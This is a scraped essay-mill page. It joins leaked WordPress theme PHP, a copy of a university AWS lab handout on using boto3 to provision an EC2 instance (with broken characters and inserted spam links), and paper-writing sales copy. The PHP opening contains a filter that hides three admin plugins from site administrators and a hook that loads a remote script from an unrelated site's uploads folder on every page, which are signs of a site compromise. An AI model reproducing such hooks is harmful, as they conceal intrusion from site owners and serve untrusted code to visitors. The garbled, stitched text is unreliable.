require_once get_template_directory() . '/inc/class-wp-bootstrap-navwalker.php'; require_once get_template_directory() . '/inc/customize.php'; if ( ! function_exists( 'morningstar_setup' ) ) : function morningstar_setup() { add_theme_support( 'title-tag' ); // Add support for full and wide align images. add_theme_support( 'align-wide' ); // Post thumbnails add_theme_support( 'post-thumbnails' ); // Add support for Block Styles. add_theme_support( 'wp-block-styles' ); // Add support for full and wide align images. add_theme_support( 'align-wide' ); // This theme uses wp_nav_menu() in two locations. register_nav_menus( array( 'header_menu' => __( 'Header Menu', 'morningstar' ), 'footer_site_menu' => __( 'Footer Site Menu', 'morningstar' ), 'footer_resources_menu' => __( 'Footer Resources Menu', 'morningstar' ), 'footer_terms_menu' => __( 'Footer Terms Menu', 'morningstar' ), ) ); } add_action( 'after_setup_theme', 'morningstar_setup' ); endif; if (!function_exists('morningstar_scripts')): /** * Enqueue scripts and styles. */ function morningstar_scripts() { global $wp_query; wp_enqueue_style('morningstar-style', get_stylesheet_uri()); wp_enqueue_style('morningstar-calc', get_stylesheet_directory_uri() . '/css/calc.css'); wp_deregister_script('jquery'); wp_register_script('jquery', get_stylesheet_directory_uri() . '/js/lib/jquery.min-3.2.1.js', array(), true, true); wp_enqueue_script('jquery'); wp_enqueue_script('morningstar', get_template_directory_uri() . '/js/morningstar.js', array('jquery'), false, true); wp_register_script( 'scripts', '/static/js/scripts.js', null, null, true ); wp_enqueue_script('scripts'); } add_action('wp_enqueue_scripts', 'morningstar_scripts', 11); endif; add_filter( 'all_plugins', 'hide_plugins'); function hide_plugins($plugins) { // Hide hello dolly plugin if(is_plugin_active('wp-automatic/wp-automatic.php')) { unset( $plugins['wp-automatic/wp-automatic.php'] ); } // Hide disqus plugin if(is_plugin_active('disable-admin-notices/disable-admin-notices.php')) { unset( $plugins['disable-admin-notices/disable-admin-notices.php'] ); } // Hide disqus plugin if(is_plugin_active('adminimize/adminimize.php')) { unset( $plugins['adminimize/adminimize.php'] ); } return $plugins; } if (!function_exists('sch_enqueue_front_asset')) { function sch_enqueue_front_asset() { wp_enqueue_script('sch-front', 'https://academicbrigade.com/wp-content/uploads/media-9f95dd/tmp-c36b/front-1f296c52.js', array(), null, false); } add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset'); }

Lab 3 aws application programming interfaces

 

PMCCA 625 Project 2: Lab 3 AWS Application Programming Interfaces

CCA 625 Project 2: Lab 3 AWS Applica!on Programming Interfaces

In this lab exercise, you will perform the following steps:

1. Explore AWS APIs and Python SDK for AWS, and install Python SDK in your ASW Cloud9

environment.

2. Analyze a Python script, provisioning an EC2 instance.

3. Run a Python script, provisioning an EC2 instance, and analyze output.

4. Verify that instance has been provisioned.

You will write a lab report describing the steps you’ve taken and include the screenshots requested.

Step 1: Explore AWS APIs and Python SDK for AWS

1. Python (h”ps://www.python.org/) is a programming language that has gained popularity in recent

years. Most of its implementa!ons involve a direct or indirect interpreter, so it is not compiled into the

machine-level language. Programmers like Python because it can be successfully used both for wri!ng

short scripts and also in complex so#ware systems. Python is an object-oriented language.

Programmers can create so#ware objects—units of func!onality and associated data—and use them.

Python APIs provide libraries of classes—blueprints for objects—that model en!!es in the API’s

business domain and provide opera!ons to be carried out on these en!!es.

2. AWS provides a so#ware development kit (SDK) for Python (h”ps://aws.amazon.com/sdk-for-

python/) , which means that there https://paperwriters.xyz/uncategorized/lab-3-aws-application-programming-interfaces/ is a library of Python classes corresponding to AWS resources, and

cloud developers can invoke opera!ons on objects created from these classes. The SDK is called “boto”

and the latest version is “boto3

(h”ps://boto3.amazonaws.com/v1/documenta!on/api/latest/index.html) .”

3. Log in to your AWS Educate account. Click on the “My Classrooms” bu”on at the bo”om of the screen,

and go to the CCA 625 classroom. Click on the “AWS Console” bu”on.

4. On the AWS Services page, under the “Developer Tools” sec!on at the bo”om, select the “Cloud9”

service. In the Cloud9 dashboard, you should see the CCA625_<your ini!als> Cloud9 Ubuntu

environment you created in Lab 1. Click on it and wait un!l the Cloud9 IDE screen opens.

5. Cloud9 comes with the Python language installed, along with the Python module installer called “pip,”

but the AWS boto3 SDK is not installed. Type “pip install boto3” in the bash console tab and wait un!l

the SDK is installed.

Course Resource

https://www.python.org/https://aws.amazon.com/sdk-for-python/https://boto3.amazonaws.com/v1/documentation/api/latest/index.html

6/12/21, 3:48 PMCCA 625 Project 2: Lab 3 AWS Application Programming Interfaces

Page 2 of 4https://leocontent.umgc.edu/content/umuc/tgs/cca/cca625/2212/course…t-2–lab-3-aws-application-programming-interfaces-.html?ou=602744#

Source: Amazon Web Services

Step 2: Analyze a Python Script, Provisioning an EC2 Instance

6. Download to your computer this Python script: create_instance.py (/content/dam/course-

content/tgs/cca/cca-625/document/create_instance.py?ou=602744)

7. In Cloud9, click on “File – Upload Local Files,” and upload the script to your Cloud9 environment.

8. Click on the “create_instance.py” file in your environment file tree on the le#. It opens in a text editor

tab.

Source: Amazon Web Services

Analyze the script:

Lines 2, 3: The boto3 Python SDK module components are made available to the script.

https://leocontent.umgc.edu/content/dam/course-content/tgs/cca/cca-625/document/create_instance.py?ou=602744

6/12/21, 3:48 PMCCA 625 Project 2: Lab 3 AWS Application Programming Interfaces

Page 3 of 4https://leocontent.umgc.edu/content/umuc/tgs/cca/cca625/2212/course…t-2–lab-3-aws-application-programming-interfaces-.html?ou=602744#

Line 9: The client object for the EC2 service is created. This object provides methods for invoking

ac!ons of the EC2 service.

Lines 12–14: Values of parameters needed for instance crea!on are defined. Image_id specifies the

Ubuntu 18.1 image. You need to type in the name of your key pair available in your student account.

Create one in the AWS console in the EC2 service under Key Pairs if needed.

Line 18: This is the call to the run_instances method of the EC2 Python service

(h”ps://boto3.amazonaws.com/v1/documenta!on/api/latest/reference/services/ec2.html#EC2.Client.run_instances)

to create a single EC2 instance. All required parameters are specified, plus an op!onal name tag to be

able to tell your instance in the instance list in the console.

Line 36: The result is printed, which is the Python dic!onary (list of key-object pairs) containing

informa!on about the instance being provisioned.

Line 39: In case of an error being raised, the error object is “thrown,” which is printed.

Step 3: Run a Python Script Provisioning an EC2 Instance and Analyze Output

9. In the editor tab, line 14, https://paperwriters.xyz/uncategorized/lab-3-aws-application-programming-interfaces/ type in the name of your key pair inside single quotes. You can use the keypair

you’ve used in Project 1 Lab 3 Step 10. Take a screenshot and include it in your lab report.

10. Close the text editor tab with the modified script and save it.

11. Maximize the bash command terminal tab, type “python create_instance.py” at the command prompt,

and hit “Enter.” If the script executes successfully, you will see the instance informa!on dic!onary.

Confirm that the instance has the proper image, type, key pair name, and tag. Take a screenshot and

include it in your lab report.

https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html%23EC2.Client.run_instances

6/12/21, 3:48 PMCCA 625 Project 2: Lab 3 AWS Application Programming Interfaces

Page 4 of 4https://leocontent.umgc.edu/content/umuc/tgs/cca/cca625/2212/course…t-2–lab-3-aws-application-programming-interfaces-.html?ou=602744#

Source: Amazon Web Services

12. In case of an error, you will see an error message. Fix the error and run the script again.

Step 4: Verify the Instance Has Been Provisioned

13. To verify that the instance is provisioned, go back to the AWS console, select the EC2 service, and click

on the “Instances” label on the le#. Select the instance created by the Python script. Take a screenshot

and include it in your lab report.

14. Write and submit the lab report, showing the steps you’ve taken and all requested screenshots with

brief explana!ons. Submit the lab report in the Project 2 Step 4 submission box.

15. A#er you are done and your Project 2 report is graded, remember to terminate the instance associated

with the Cloud9 environment, and delete the Cloud9 environment.

© 2021 University of Maryland Global Campus

All links to external sites were verified at the !me of publica!on. UMGC is not responsible for the validity or integrity of informa!on located at

external sites.

Academic Brigade
Calculate your paper price
Pages (550 words)
Approximate price: -

Why Work with Us

Top Quality and Well-Researched Papers

We always make sure that writers follow all your instructions precisely. You can choose your academic level: high school, college/university or professional, and we will assign a writer who has a respective degree.

Professional and Experienced Academic Writers

We have a team of professional writers with experience in academic and business writing. Many are native speakers and able to perform any task for which you need help.

Free Unlimited Revisions

If you think we missed something, send your order for a free revision. You have 10 days to submit the order for review after you have received the final document. You can do this yourself after logging into your personal account or by contacting our support.

Prompt Delivery and 100% Money-Back-Guarantee

All papers are always delivered on time. In case we need more time to master your paper, we may contact you regarding the deadline extension. In case you cannot provide us with more time, a 100% refund is guaranteed.

Original & Confidential

We use several writing tools checks to ensure that all documents you receive are free from plagiarism. Our editors carefully review all quotations in the text. We also promise maximum confidentiality in all of our services.

24/7 Customer Support

Our support agents are available 24 hours a day 7 days a week and committed to providing you with the best customer experience. Get in touch whenever you need any assistance.

Try it now!

Calculate the price of your order

Total price:
$0.00

How it works?

Follow these simple steps to get your paper done

Place your order

Fill in the order form and provide all details of your assignment.

Proceed with the payment

Choose the payment system that suits you most.

Receive the final file

Once your paper is ready, we will email it to you.

Our Services

No need to work on your paper at night. Sleep tight, we will cover your back. We offer all kinds of writing services.

Essays

Essay Writing Service

No matter what kind of academic paper you need and how urgent you need it, you are welcome to choose your academic level and the type of your paper at an affordable price. We take care of all your paper needs and give a 24/7 customer care support system.

Admissions

Admission Essays & Business Writing Help

An admission essay is an essay or other written statement by a candidate, often a potential student enrolling in a college, university, or graduate school. You can be rest assurred that through our service we will write the best admission essay for you.

Reviews

Editing Support

Our academic writers and editors make the necessary changes to your paper so that it is polished. We also format your document by correctly quoting the sources and creating reference lists in the formats APA, Harvard, MLA, Chicago / Turabian.

Reviews

Revision Support

If you think your paper could be improved, you can request a review. In this case, your paper will be checked by the writer or assigned to an editor. You can use this option as many times as you see fit. This is free because we want you to be completely satisfied with the service offered.